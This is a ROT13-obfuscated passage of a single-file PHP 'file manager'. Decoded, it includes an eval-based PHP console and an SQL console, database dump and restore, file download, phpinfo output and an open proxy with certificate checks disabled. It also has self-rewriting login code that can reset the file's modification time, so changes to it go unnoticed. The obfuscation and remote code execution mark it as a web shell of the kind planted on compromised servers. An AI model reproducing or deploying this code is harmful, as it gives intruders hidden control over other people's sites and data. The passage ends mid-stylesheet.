		vs(vf_svyr($s)) erghea svyrfvmr($s);
		$fvmr=0;
		$qu=bcraqve($s);
		juvyr(($svyr=ernqqve($qu))!==snyfr) {
			vs($svyr=='.' || $svyr=='..') pbagvahr;
			vs(vf_svyr($s.'/'.$svyr)) $fvmr+=svyrfvmr($s.'/'.$svyr);
			ryfr $fvmr+=sz_qve_fvmr($s.'/'.$svyr,snyfr);
		}
		pybfrqve($qu);
		erghea $fvmr+svyrfvmr($s); 
	}
}

//fpna qverpgbel
shapgvba sz_fpna_qve($qverpgbel, $rkc = '', $glcr = 'nyy', $qb_abg_svygre = snyfr) {
	$qve = $aqve = neenl();
	vs(!rzcgl($rkc)){
		$rkc = '/^' . fge_ercynpr('*', '(.*)', fge_ercynpr('.', '\\.', $rkc)) . '$/';
	}
	vs(!rzcgl($glcr) && $glcr !== 'nyy'){
		$shap = 'vf_' . $glcr;
	}
	vs(@vf_qve($qverpgbel)){
		$su = bcraqve($qverpgbel);
		juvyr (snyfr !== ($svyranzr = ernqqve($su))) {
			vs(fhofge($svyranzr, 0, 1) != '.' || $qb_abg_svygre) {
				vs((rzcgl($glcr) || $glcr == 'nyy' || $shap($qverpgbel . '/' . $svyranzr)) && (rzcgl($rkc) || cert_zngpu($rkc, $svyranzr))){
					$qve[] = $svyranzr;
				}
			}
		}
		pybfrqve($su);
		angfbeg($qve);
	}
	erghea $qve;
}

shapgvba sz_yvax($trg,$yvax,$anzr,$gvgyr='') {
	vs (rzcgl($gvgyr)) $gvgyr=$anzr.' '.onfranzr($yvax);
	erghea '&aofc;&aofc;<n uers="?'.$trg.'='.onfr64_rapbqr($yvax).'" gvgyr="'.$gvgyr.'">'.$anzr.'</n>';
}

shapgvba sz_nee_gb_bcgvba($nee,$a,$fry=''){
	sbernpu($nee nf $i){
		$o=$i[$a];
		$erf.='<bcgvba inyhr="'.$o.'" '.($fry && $fry==$o?'fryrpgrq':'').'>'.$o.'</bcgvba>';
	}
	erghea $erf;
}

shapgvba sz_ynat_sbez ($pheerag='ra'){
erghea '
<sbez anzr="punatr_ynat" zrgubq="cbfg" npgvba="">
	<fryrpg anzr="sz_ynat" gvgyr="'.__('Ynathntr').'" bapunatr="qbphzrag.sbezf[\'punatr_ynat\'].fhozvg()" >
		<bcgvba inyhr="ra" '.($pheerag=='ra'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ratyvfu').'</bcgvba>
		<bcgvba inyhr="qr" '.($pheerag=='qr'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Trezna').'</bcgvba>
		<bcgvba inyhr="eh" '.($pheerag=='eh'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ehffvna').'</bcgvba>
		<bcgvba inyhr="se" '.($pheerag=='se'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Serapu').'</bcgvba>
		<bcgvba inyhr="hx" '.($pheerag=='hx'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Hxenvavna').'</bcgvba>
	</fryrpg>
</sbez>
';
}
	
shapgvba sz_ebbg($qveanzr){
	erghea ($qveanzr=='.' BE $qveanzr=='..');
}

shapgvba sz_cuc($fgevat){
	$qvfcynl_reebef=vav_trg('qvfcynl_reebef');
	vav_frg('qvfcynl_reebef', '1');
	bo_fgneg();
	riny(gevz($fgevat));
	$grkg = bo_trg_pbagragf();
	bo_raq_pyrna();
	vav_frg('qvfcynl_reebef', $qvfcynl_reebef);
	erghea $grkg;
}

//FUBJ QNGNONFRF
shapgvba sz_fdy_pbaarpg(){
	tybony $sz_pbasvt;
	erghea arj zlfdyv($sz_pbasvt['fdy_freire'], $sz_pbasvt['fdy_hfreanzr'], $sz_pbasvt['fdy_cnffjbeq'], $sz_pbasvt['fdy_qo']);
}

shapgvba sz_fdy($dhrel){
	tybony $sz_pbasvt;
	$dhrel=gevz($dhrel);
	bo_fgneg();
	$pbaarpgvba = sz_fdy_pbaarpg();
	vs ($pbaarpgvba->pbaarpg_reebe) {
		bo_raq_pyrna();	
		erghea $pbaarpgvba->pbaarpg_reebe;
	}
	$pbaarpgvba->frg_punefrg('hgs8');
    $dhrevrq = zlfdyv_dhrel($pbaarpgvba,$dhrel);
	vs ($dhrevrq===snyfr) {
		bo_raq_pyrna();	
		erghea zlfdyv_reebe($pbaarpgvba);
    } ryfr {
		vs(!rzcgl($dhrevrq)){
			juvyr($ebj = zlfdyv_srgpu_nffbp($dhrevrq)) {
				$dhrel_erfhyg[]=  $ebj;
			}
		}
		$iqhzc=rzcgl($dhrel_erfhyg)?'':ine_rkcbeg($dhrel_erfhyg,gehr);	
		bo_raq_pyrna();	
		$pbaarpgvba->pybfr();
		erghea '<cer>'.fgevcfynfurf($iqhzc).'</cer>';
	}
}

shapgvba sz_onpxhc_gnoyrf($gnoyrf = '*', $shyy_onpxhc = gehr) {
	tybony $cngu;
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
	vs($gnoyrf == '*')	{
		$gnoyrf = neenl();
		$erfhyg = $zlfdyqo->dhrel('FUBJ GNOYRF');
		juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg))	{
			$gnoyrf[] = $ebj[0];
		}
	} ryfr {
		$gnoyrf = vf_neenl($gnoyrf) ? $gnoyrf : rkcybqr(',',$gnoyrf);
	}
    
	$erghea='';
	sbernpu($gnoyrf nf $gnoyr)	{
		$erfhyg = $zlfdyqo->dhrel('FRYRPG * SEBZ '.$gnoyr);
		$ahz_svryqf = zlfdyv_ahz_svryqf($erfhyg);
		$erghea.= 'QEBC GNOYR VS RKVFGF `'.$gnoyr.'`'.$qryvzvgre;
		$ebj2 = zlfdyv_srgpu_ebj($zlfdyqo->dhrel('FUBJ PERNGR GNOYR '.$gnoyr));
		$erghea.=$ebj2[1].$qryvzvgre;
        vs ($shyy_onpxhc) {
		sbe ($v = 0; $v < $ahz_svryqf; $v++)  {
			juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg)) {
				$erghea.= 'VAFREG VAGB `'.$gnoyr.'` INYHRF(';
				sbe($w=0; $w<$ahz_svryqf; $w++)	{
					$ebj[$w] = nqqfynfurf($ebj[$w]);
					$ebj[$w] = fge_ercynpr("\a","\\a",$ebj[$w]);
					vs (vffrg($ebj[$w])) { $erghea.= '"'.$ebj[$w].'"' ; } ryfr { $erghea.= '""'; }
					vs ($w<($ahz_svryqf-1)) { $erghea.= ','; }
				}
				$erghea.= ')'.$qryvzvgre;
			}
		  }
		} ryfr { 
		$erghea = cert_ercynpr("#NHGB_VAPERZRAG=[\q]+ #vf", '', $erghea);
		}
		$erghea.="\a\a\a";
	}

	//fnir svyr
    $svyr=tzqngr("L-z-q_U-v-f",gvzr()).'.fdy';
	$unaqyr = sbcra($svyr,'j+');
	sjevgr($unaqyr,$erghea);
	spybfr($unaqyr);
	$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'?qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    erghea $svyr.': '.sz_yvax('qbjaybnq',$cngu.$svyr,__('Qbjaybnq'),__('Qbjaybnq').' '.$svyr).' <n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
}

shapgvba sz_erfgber_gnoyrf($fdySvyrGbRkrphgr) {
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
    // Ybnq naq rkcybqr gur fdy svyr
    $s = sbcra($fdySvyrGbRkrphgr,"e+");
    $fdySvyr = sernq($s,svyrfvmr($fdySvyrGbRkrphgr));
    $fdyNeenl = rkcybqr($qryvzvgre,$fdySvyr);
	
    //Cebprff gur fdy svyr ol fgngrzragf
    sbernpu ($fdyNeenl nf $fgzg) {
        vs (fgeyra($fgzg)>3){
			$erfhyg = $zlfdyqo->dhrel($fgzg);
				vs (!$erfhyg){
					$fdyReebePbqr = zlfdyv_reeab($zlfdyqo->pbaarpgvba);
					$fdyReebeGrkg = zlfdyv_reebe($zlfdyqo->pbaarpgvba);
					$fdyFgzg      = $fgzg;
					oernx;
           	     }
           	  }
           }
vs (rzcgl($fdyReebePbqr)) erghea __('Fhpprff').' — '.$fdySvyrGbRkrphgr;
ryfr erghea $fdyReebeGrkg.'<oe/>'.$fgzg;
}

shapgvba sz_vzt_yvax($svyranzr){
	erghea './'.onfranzr(__SVYR__).'?vzt='.onfr64_rapbqr($svyranzr);
}

shapgvba sz_ubzr_fglyr(){
	erghea '
vachg, vachg.sz_vachg {
	grkg-vaqrag: 2ck;
}

vachg, grkgnern, fryrpg, vachg.sz_vachg {
	pbybe: oynpx;
	sbag: abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	obeqre-pbybe: oynpx;
	onpxtebhaq-pbybe: #SPSPSP abar !vzcbegnag;
	obeqre-enqvhf: 0;
	cnqqvat: 2ck;
}

vachg.sz_vachg {
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.ubzr {
	onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNtEDGSES/s396Bwb////gG02me+sj66Egw432GRc3ZKR2QNe3GLc1l4zgQj2/7OZ/7OBdIcp/8y31wpdd6rajpUO2Gtv5wtdIcoSien2aONI/Cm82F0wak0J3GHxdFtv4rUu4Gfer4jbfm026hCwmTLq6Hf3laNlqHON5Xy3sz5rdMnJ7BQtv2It+Cw4hL+RjYz5oL9H//7wsYgP+gBX3wpz/71h2wLb1HLu5nWy/frP3wRz12xzWeVN1wZz/9nH4Yu0r01OyVnR///quZqP7VN//sGM2p3ZJ6aA30js95Iq4WqKbKIbf8aR4rsA/+63VWtFaLuy7S4pfKg89TDHjY+/wy1p41Nd+so2tzgV1eXn2P4xWnVN3wLeyGj5gw423wLa3pKR1mDbkZUOc1yM3Qtzdvxf/+zpwYX83wLxlzZI3GLx//UZ+h7Juzge0bqGcnBwsJWseUct/8Of/7gJ/7Ir+4H52QZz3ZYOa4dYtAIZ6ZmO3yRsyVhY/+wN///20YBmwKk8/7yoJcWT2P8x3GbfWXZN1ljwbcBE1mLc5Qfcvnl+lXAudXFx8AJ6/swaf7Bm2gaMhm887o+J3nEL/+zf4ePR3Gbg7I85oXkwhRN3j45Iu5hud6nz4pSktMMJ/9dVhjtXl0fJ+hwG4GDagm423P8v3mHw/+Xj/n5q6HZkhY6jmQRe////pdWDsNNNNXk0Hx5G////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////NNJISoRNNNNMqRILqSAiMaE3LKWyNRSxo2WyVRygLJqyHzIuMUyklJH8NNNN2HyRDIDbH2ALwDLLfNvR8H9LmQLwIcTMEkZvRPvgZeIMibZeGyD2RFEDW2SIjvaLozdGHYbbuaR1t1nXTF/sAZgx40lM9XIYDutLxhL7AkDiKlUISAaXmE69dckOCZrm0RGNDlGHiFbtnVSnCpAdI/Z5qun2Ey2Gvzo6M+DOQL1KA/Foh8kSYT3rYQsy2HNOwvyB1b012M3rx1yMIVJNNzHGX6Y0f3cK+ww6chM2NjJHiOEncufjZqHhwPvjQjn5IRqCV7laHyp7i1dLHEYdhs42um45POCQgjNPez+EQpkWLNNNNNOWEH5RexWttt==");
	onpxtebhaq-ercrng: ab-ercrng;
}';
}

shapgvba sz_pbasvt_purpxobk_ebj($anzr,$inyhr) {
	tybony $sz_pbasvt;
	erghea '<ge><gq pynff="ebj1"><vachg vq="sz_pbasvt_'.$inyhr.'" anzr="sz_pbasvt['.$inyhr.']" inyhr="1" '.(rzcgl($sz_pbasvt[$inyhr])?'':'purpxrq="gehr"').' glcr="purpxobk"></gq><gq pynff="ebj2 jubyr"><ynory sbe="sz_pbasvt_'.$inyhr.'">'.$anzr.'</gq></ge>';
}

shapgvba sz_cebgbpby() {
	vs (vffrg($_FREIRE['UGGC_FPURZR'])) erghea $_FREIRE['UGGC_FPURZR'].'://';
	vs (vffrg($_FREIRE['UGGCF']) && $_FREIRE['UGGCF'] == 'ba') erghea 'uggcf://';
	vs (vffrg($_FREIRE['FREIRE_CBEG']) && $_FREIRE['FREIRE_CBEG'] == 443) erghea 'uggcf://';
	vs (vffrg($_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB']) && $_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB'] == 'uggcf') erghea 'uggcf://';
	erghea 'uggc://';
}

shapgvba sz_fvgr_hey() {
	erghea sz_cebgbpby().$_FREIRE['UGGC_UBFG'];
}

shapgvba sz_hey($shyy=snyfr) {
	$ubfg=$shyy?sz_fvgr_hey():'.';
	erghea $ubfg.'/'.onfranzr(__SVYR__);
}

shapgvba sz_ubzr($shyy=snyfr){
	erghea '&aofc;<n uers="'.sz_hey($shyy).'" gvgyr="'.__('Ubzr').'"><fcna pynff="ubzr">&aofc;&aofc;&aofc;&aofc;</fcna></n>';
}

shapgvba sz_eha_vachg($yat) {
	tybony $sz_pbasvt;
	$erghea = !rzcgl($sz_pbasvt['ranoyr_'.$yat.'_pbafbyr']) ? 
	'
				<sbez  zrgubq="cbfg" npgvba="'.sz_hey().'" fglyr="qvfcynl:vayvar">
				<vachg glcr="fhozvg" anzr="'.$yat.'eha" inyhr="'.fgegbhccre($yat).' '.__('Pbafbyr').'">
				</sbez>
' : '';
	erghea $erghea;
}

shapgvba sz_hey_cebkl($zngpurf) {
	$yvax = fge_ercynpr('&nzc;','&',$zngpurf[2]);
	$hey = vffrg($_TRG['hey'])?$_TRG['hey']:'';
	$cnefr_hey = cnefr_hey($hey);
	$ubfg = $cnefr_hey['fpurzr'].'://'.$cnefr_hey['ubfg'].'/';
	vs (fhofge($yvax,0,2)=='//') {
		$yvax = fhofge_ercynpr($yvax,sz_cebgbpby(),0,2);
	} ryfrvs (fhofge($yvax,0,1)=='/') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,1);	
	} ryfrvs (fhofge($yvax,0,2)=='./') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,2);	
	} ryfrvs (fhofge($yvax,0,4)=='uggc') {
		//nyyrf znpura jhaqrefpuba
	} ryfr {
		$yvax = $ubfg.$yvax;
	} 
	vs ($zngpurf[1]=='uers' && !fgeevcbf($yvax, 'pff')) {
		$onfr = sz_fvgr_hey().'/'.onfranzr(__SVYR__);
		$onfrd = $onfr.'?cebkl=gehr&hey=';
		$yvax = $onfrd.heyrapbqr($yvax);
	} ryfrvs (fgeevcbf($yvax, 'pff')){
		//как-то тоже подменять надо
	}
	erghea $zngpurf[1].'="'.$yvax.'"';
}
 
shapgvba sz_gcy_sbez($yat_gcy) {
	tybony ${$yat_gcy.'_grzcyngrf'};
	$gcy_nee = wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr);
	$fge = '';
	sbernpu ($gcy_nee nf $xgcy=>$igcy) {
		$fge .= '<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_anzr[]" inyhr="'.$xgcy.'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_inyhr[]"  pbyf="55" ebjf="5" pynff="grkgnern_vachg">'.$igcy.'</grkgnern> <vachg anzr="qry_'.enaq().'" glcr="ohggba" baPyvpx="guvf.cneragAbqr.cneragAbqr.erzbir();" inyhr="'.__('Qryrgr').'"/></gq></ge>';
	}
erghea '
<gnoyr>
<ge><gu pbyfcna="2">'.fgegbhccre($yat_gcy).' '.__('grzcyngrf').' '.sz_eha_vachg($yat_gcy).'</gu></ge>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1">'.__('Anzr').'</gq><gq pynff="ebj2 jubyr">'.__('Inyhr').'</gq></ge>
'.$fge.'
<ge><gq pbyfcna="2" pynff="ebj3"><vachg anzr="erf" glcr="ohggba" baPyvpx="qbphzrag.ybpngvba.uers = \''.sz_hey().'?sz_frggvatf=gehr\';" inyhr="'.__('Erfrg').'"/> <vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_arj_anzr" inyhr="" cynprubyqre="'.__('Arj').' '.__('Anzr').'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_arj_inyhr"  pbyf="55" ebjf="5" pynff="grkgnern_vachg" cynprubyqre="'.__('Arj').' '.__('Inyhr').'"></grkgnern></gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Nqq').'" ></gq></ge>
</sbez>
</gnoyr>
';
}

shapgvba svaq_grkg_va_svyrf($qve, $znfx, $grkg) {
    $erfhygf = neenl();
    vs ($unaqyr = bcraqve($qve)) {
        juvyr (snyfr !== ($ragel = ernqqve($unaqyr))) {
            vs ($ragel != "." && $ragel != "..") {
                $cngu = $qve . "/" . $ragel;
                vs (vf_qve($cngu)) {
                    $erfhygf = neenl_zretr($erfhygf, svaq_grkg_va_svyrf($cngu, $znfx, $grkg));
                } ryfr {
                    vs (sazngpu($znfx, $ragel)) {
                        $pbagragf = svyr_trg_pbagragf($cngu);
                        vs (fgecbf($pbagragf, $grkg) !== snyfr) {
                            $erfhygf[] = fge_ercynpr('//', '/', $cngu);
                        }
                    }
                }
            }
        }
        pybfrqve($unaqyr);
    }
    erghea $erfhygf;
}


/* Raq Shapgvbaf */

// nhgubevmngvba
vs ($nhgu['nhgubevmr']) {
	vs (vffrg($_CBFG['ybtva']) && vffrg($_CBFG['cnffjbeq'])){
		vs (($_CBFG['ybtva']==$nhgu['ybtva']) && ($_CBFG['cnffjbeq']==$nhgu['cnffjbeq'])) {
			frgpbbxvr($nhgu['pbbxvr_anzr'], $nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
			$_PBBXVR[$nhgu['pbbxvr_anzr']]=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']);
		}
	}
	vs (!vffrg($_PBBXVR[$nhgu['pbbxvr_anzr']]) BE ($_PBBXVR[$nhgu['pbbxvr_anzr']]!=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']))) {
		rpub '
<!qbpglcr ugzy>
<ugzy>
<urnq>
<zrgn punefrg="hgs-8" />
<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
<gvgyr>'.__('Svyr znantrek').'</gvgyr>
</urnq>
<obql>
<sbez npgvba="" zrgubq="cbfg">
'.__('Ybtva').' <vachg anzr="ybtva" glcr="grkg">&aofc;&aofc;&aofc;
'.__('Cnffjbeq').' <vachg anzr="cnffjbeq" glcr="cnffjbeq">&aofc;&aofc;&aofc;
<vachg glcr="fhozvg" inyhr="'.__('Ragre').'" pynff="sz_vachg">
</sbez>
'.sz_ynat_sbez($ynathntr).'
</obql>
</ugzy>
';  
qvr();
	}
	vs (vffrg($_CBFG['dhvg'])) {
		hafrg($_PBBXVR[$nhgu['pbbxvr_anzr']]);
		frgpbbxvr($nhgu['pbbxvr_anzr'], '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_fvgr_hey().$_FREIRE['ERDHRFG_HEV']);
	}
}

// Punatr pbasvt
vs (vffrg($_TRG['sz_frggvatf'])) {
	vs (vffrg($_TRG['sz_pbasvt_qryrgr'])) { 
		hafrg($_PBBXVR['sz_pbasvt']);
		frgpbbxvr('sz_pbasvt', '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_hey().'?sz_frggvatf=gehr');
		rkvg(0);
	}	ryfrvs (vffrg($_CBFG['sz_pbasvt'])) { 
		$sz_pbasvt = $_CBFG['sz_pbasvt'];
		frgpbbxvr('sz_pbasvt', frevnyvmr($sz_pbasvt), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
		$_PBBXVR['sz_pbasvt'] = frevnyvmr($sz_pbasvt);
		$zft = __('Frggvatf').' '.__('qbar');
	}	ryfrvs (vffrg($_CBFG['sz_ybtva'])) { 
		vs (rzcgl($_CBFG['sz_ybtva']['nhgubevmr'])) $_CBFG['sz_ybtva'] = neenl('nhgubevmr' => '0') + $_CBFG['sz_ybtva'];
		$sz_ybtva = wfba_rapbqr($_CBFG['sz_ybtva']);
		$stp = svyr_trg_pbagragf(__SVYR__);
		$frnepu = cert_zngpu('#nhgubevmngvba[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
		vs (!rzcgl($zngpurf[1])) {
			$svyrzgvzr = svyrzgvzr(__SVYR__);
			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_ybtva,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
				vs ($_CBFG['sz_ybtva']['ybtva'] != $nhgu['ybtva']) $zft .= ' '.__('Ybtva').': '.$_CBFG['sz_ybtva']['ybtva'];
				vs ($_CBFG['sz_ybtva']['cnffjbeq'] != $nhgu['cnffjbeq']) $zft .= ' '.__('Cnffjbeq').': '.$_CBFG['sz_ybtva']['cnffjbeq'];
				$nhgu = $_CBFG['sz_ybtva'];
			}
			ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}
	} ryfrvs (vffrg($_CBFG['gcy_rqvgrq'])) { 
		$yat_gcy = $_CBFG['gcy_rqvgrq'];
		vs (!rzcgl($_CBFG[$yat_gcy.'_anzr'])) {
			$sz_cuc = wfba_rapbqr(neenl_pbzovar($_CBFG[$yat_gcy.'_anzr'],$_CBFG[$yat_gcy.'_inyhr']),WFBA_URK_NCBF);
		} ryfrvs (!rzcgl($_CBFG[$yat_gcy.'_arj_anzr'])) {
			$sz_cuc = wfba_rapbqr(wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr)+neenl($_CBFG[$yat_gcy.'_arj_anzr']=>$_CBFG[$yat_gcy.'_arj_inyhr']),WFBA_URK_NCBF);
		}
		vs (!rzcgl($sz_cuc)) {
			$stp = svyr_trg_pbagragf(__SVYR__);
			$frnepu = cert_zngpu('#'.$yat_gcy.'_grzcyngrf[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
			vs (!rzcgl($zngpurf[1])) {
				$svyrzgvzr = svyrzgvzr(__SVYR__);
				$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_cuc,$stp);
				vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
					${$yat_gcy.'_grzcyngrf'} = $sz_cuc;
					$zft .= __('Svyr hcqngrq');
				} ryfr $zft .= __('Reebe bppheerq');
				vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
			}	
		} ryfr $zft .= __('Reebe bppheerq');
	}
}

// Whfg fubj vzntr
vs (vffrg($_TRG['vzt'])) {
	$svyr=onfr64_qrpbqr($_TRG['vzt']);
	vs ($vasb=trgvzntrfvmr($svyr)){
		fjvgpu  ($vasb[2]){	//1=TVS, 2=WCT, 3=CAT, 4=FJS, 5=CFQ, 6=OZC
			pnfr 1: $rkg='tvs'; oernx;
			pnfr 2: $rkg='wcrt'; oernx;
			pnfr 3: $rkg='cat'; oernx;
			pnfr 6: $rkg='ozc'; oernx;
			qrsnhyg: qvr();
		}
		urnqre("Pbagrag-glcr: vzntr/$rkg");
		rpub svyr_trg_pbagragf($svyr);
		qvr();
	}
}

// Whfg qbjaybnq svyr
vs (vffrg($_TRG['qbjaybnq'])) {
	$svyr=onfr64_qrpbqr($_TRG['qbjaybnq']);
	sz_qbjaybnq($svyr);	
}

// Whfg fubj vasb
vs (vffrg($_TRG['cucvasb'])) {
	cucvasb(); 
	qvr();
}

// Zvav cebkl, znal ohtf!
vs (vffrg($_TRG['cebkl']) && (!rzcgl($sz_pbasvt['ranoyr_cebkl']))) {
	$hey = vffrg($_TRG['hey'])?heyqrpbqr($_TRG['hey']):'';
	$cebkl_sbez = '
<qvi fglyr="cbfvgvba:eryngvir;m-vaqrk:100500;onpxtebhaq: yvarne-tenqvrag(gb obggbz, #r4s5sp 0%,#osr8s9 50%,#9sq8rs 51%,#2no0rq 100%);">
	<sbez npgvba="" zrgubq="TRG">
	<vachg glcr="uvqqra" anzr="cebkl" inyhr="gehr">
	'.sz_ubzr().' <n uers="'.$hey.'" gnetrg="_oynax">Hey</n>: <vachg glcr="grkg" anzr="hey" inyhr="'.$hey.'" fvmr="55">
	<vachg glcr="fhozvg" inyhr="'.__('Fubj').'" pynff="sz_vachg">
	</sbez>
</qvi>
';
	vs ($hey) {
		$pu = phey_vavg($hey);
		phey_frgbcg($pu, PHEYBCG_HFRENTRAG, 'Qra1kkk grfg cebkl');
		phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG,0);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE,0);
		phey_frgbcg($pu, PHEYBCG_URNQRE, 0);
		phey_frgbcg($pu, PHEYBCG_ERSRERE, $hey);
		phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE,gehr);
		$erfhyg = phey_rkrp($pu);
		phey_pybfr($pu);
		//$erfhyg = cert_ercynpr('#(fep)=["\'][uggc://]?([^:]*)["\']#Hv', '\\1="'.$hey.'/\\2"', $erfhyg);
		$erfhyg = cert_ercynpr_pnyyonpx('#(uers|fep)=["\'][uggc://]?([^:]*)["\']#Hv', 'sz_hey_cebkl', $erfhyg);
		$erfhyg = cert_ercynpr('%(<obql.*?>)%v', '$1'.'<fglyr>'.sz_ubzr_fglyr().'</fglyr>'.$cebkl_sbez, $erfhyg);
		rpub $erfhyg;
		qvr();
	} 
}
?>
<!qbpglcr ugzy>
<ugzy>
<urnq>     
	<zrgn punefrg="hgs-8" />
	<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
    <gvgyr><?=__('Svyr znantre')?></gvgyr>
<fglyr>
obql {
	onpxtebhaq-pbybe:	juvgr;
	sbag-snzvyl:		Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	sbag-fvmr:			8cg;
	znetva:				0ck;
}

n:yvax, n:npgvir, n:ivfvgrq { pbybe: #006699; grkg-qrpbengvba: abar; }
n:ubire { pbybe: #QQ6900; grkg-qrpbengvba: haqreyvar; }
n.gu:yvax { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:npgvir { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ivfvgrq { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ubire {  pbybe: #SSN34S; grkg-qrpbengvba: haqreyvar; }

gnoyr.ot {
	onpxtebhaq-pbybe: #NPOOP6
}

gu, gq { 
	sbag:	abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	cnqqvat: 3ck;
}

gu	{
	urvtug:				25ck;
	onpxtebhaq-pbybe:	#006699;
	pbybe:				#SSN34S;
	sbag-jrvtug:		obyq;
	sbag-fvmr:			11ck;
}

.ebj1 {
	onpxtebhaq-pbybe:	#RSRSRS;
}

.ebj2 {
	onpxtebhaq-pbybe:	#QRR3R7;
}

.ebj3 {
	onpxtebhaq-pbybe:	#Q1Q7QP;
	cnqqvat: 5ck;
}

ge.ebj1:ubire {
	onpxtebhaq-pbybe:	#S3SPSP;
}

ge.ebj2:ubire {
	onpxtebhaq-pbybe:	#S0S6S6;
}

.jubyr {
	jvqgu: 100%;
}

.nyy gobql gq:svefg-puvyq{jvqgu:100%;}

grkgnern {
	sbag: 9cg 'Pbhevre Arj', pbhevre;
	yvar-urvtug: 125%;
	cnqqvat: 5ck;
}

.grkgnern_vachg {
	urvtug: 1rz;
}

.grkgnern_vachg:sbphf {
	urvtug: nhgb;
}

vachg[glcr=fhozvg]{
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.sbyqre {
    onpxtebhaq-vzntr: 